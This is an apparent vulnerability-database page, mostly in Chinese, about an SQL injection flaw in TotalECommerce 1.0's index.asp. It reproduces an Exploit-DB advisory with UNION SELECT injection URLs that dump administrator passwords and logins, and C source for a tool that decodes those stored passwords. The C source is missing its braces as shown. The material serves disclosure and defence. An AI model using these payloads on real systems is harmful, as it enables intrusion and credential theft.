发布时间 :2006-03-09 08:06:00
修订时间 :2017-07-19 21:30:19

[原文]SQL injection vulnerability in index.asp in Total Ecommerce 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter. NOTE: it is not clear whether this report is associated with a specific product. If not, then it should not be included in CVE.

[CNNVD]TotalECommerce 'index.asp' SQL注入漏洞(CNNVD-200603-150)

        Total Ecommerce 1.0的index.asp中存在SQL注入漏洞,远程攻击者可以通过id参数执行任意SQL命令。注意:尚不清楚本报告是否与一个特定产品有关。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  BUGTRAQ  20060304 Advisory: TotalECommerce (index.asp id) Remote SQL InjectionVulnerability.
(UNKNOWN)  BID  16960
(UNKNOWN)  VUPEN  ADV-2006-0840
(UNKNOWN)  XF  totalecommerce-index-sql-injection(25045)

- 漏洞信息

TotalECommerce 'index.asp' SQL注入漏洞
高危 SQL注入
2006-03-09 00:00:00 2006-03-10 00:00:00
        Total Ecommerce 1.0的index.asp中存在SQL注入漏洞,远程攻击者可以通过id参数执行任意SQL命令。注意:尚不清楚本报告是否与一个特定产品有关。

- 公告与补丁


- 漏洞信息 (1550)

TotalECommerce <= 1.0 (index.asp id) Remote SQL Injection Exploit (EDBID:1550)
asp webapps
2006-03-04 Verified
0 nukedx
N/A [点击下载]
Original advisory:
Advisory by: nukedx
Full PoC
GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]
EXAMPLE 1 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha+from+administradores
EXAMPLE 2 -> http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login+from+administradores
with example 1 remote attacker can get admin's encrypted password and with example 2 remote attacker can get admin's login name
[PageID]: must be working page id you can get some from frontpage.
<--Decrypter code-->
<--Note: This decrypter just decrypts default data
If webmaster changed te_chave value in funcoes.asp
this decrypter wont decrypt data so you need to 
make your own decrypter
<--C Source-->
*        TotalECommerce PWD Decrypter        *
*        Coded by |SaMaN| for nukedx         *
*            *
*              IRC.K9World.Org               *
*Advisory: *
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

int main()
  char buf[255];
  char buf2[255];
  char buf3[255];
  char *texto;
  char *vcrypt;   
  int i,x,z,t = 0;
  char saman;
  texto = buf;
  vcrypt = buf2;
  printf("%s", "|=------------------------------------=|\n");
  printf("%s", "   Coded by |SaMaN| @ IRC.K9World.Org\n");
  printf("%s", "|=------------------------------------=|\n\n");
  printf("%s", "Enter crypted password: ");
  scanf("%200s", buf);
  if (!texto)
  vcrypt = "";

  for (i = 0; i < strlen(texto); i++)
    if ((vcrypt == "") || (i > strlen(texto)))
    x = 1;
    x = x + 1;
    t = buf[i];
    z = 255 - t;
    saman = toascii(z);
    snprintf(buf3, 250, "%c", saman);
    strncat(buf2, buf3, 250);
  printf("Result: %s\n", buf2);
<--End of code-->
<--Thanks |SaMaN| for decrypter-->

// [2006-03-04]

- 漏洞信息

Total Ecommerce index.php id Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-03-04 Unknow
2006-03-04 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

TotalECommerce SQL Injection Vulnerability
Input Validation Error 16960
Yes No
2006-03-04 12:00:00 2008-06-04 11:43:00
Mustafa Can Bjorn "nukedx a.k.a nuker" is credited with the discovery of this vulnerability.

- 受影响的程序版本

TotalECommerce TotalECommerce 1.0

- 漏洞讨论

TotalECommerce is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

TotalECommerce 1.0 is vulnerable; other versions may also be affected.

- 漏洞利用

No exploit is required.

The following proof-of-concept URIs are available:;id=-1+UNION+select+senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,senha+from+administradores;id=-1+UNION+select+login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login,login+from+administradores

- 解决方案

Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at:

- 相关参考